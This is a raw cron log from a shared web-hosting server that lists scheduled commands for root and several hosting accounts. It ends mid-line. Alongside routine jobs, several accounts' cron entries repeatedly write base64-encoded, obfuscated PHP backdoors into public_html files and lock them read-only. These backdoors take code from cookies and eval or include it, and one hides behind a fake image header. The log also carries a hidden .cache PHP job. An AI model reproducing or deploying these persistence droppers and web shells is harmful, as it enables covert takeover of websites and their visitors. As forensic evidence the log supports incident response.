Mar  2 17:02:01 medusa CROND[27169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 17:02:01 medusa CROND[27171]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 17:02:01 medusa CROND[27174]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 17:02:01 medusa CROND[27175]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:02:01 medusa CROND[27176]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 17:02:01 medusa CROND[27178]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 17:02:01 medusa CROND[27180]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 17:02:01 medusa CROND[27185]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 17:02:01 medusa CROND[27186]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:02:01 medusa CROND[27187]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 17:02:01 medusa CROND[27189]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:02:01 medusa CROND[27190]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:03:01 medusa CROND[14288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 17:03:01 medusa CROND[14342]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 17:03:01 medusa CROND[14343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 17:03:01 medusa CROND[14344]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 17:03:01 medusa CROND[14345]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:03:01 medusa CROND[14346]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 17:03:01 medusa CROND[14350]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 17:03:01 medusa CROND[14349]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:03:01 medusa CROND[14354]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:03:01 medusa CROND[14355]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:03:01 medusa CROND[14356]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 17:03:01 medusa CROND[14359]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 17:04:01 medusa CROND[2146]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 17:04:01 medusa CROND[2147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 17:04:01 medusa CROND[2148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 17:04:01 medusa CROND[2149]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 17:04:01 medusa CROND[2150]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 17:04:01 medusa CROND[2152]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 17:04:01 medusa CROND[2153]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 17:04:01 medusa CROND[2154]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1Z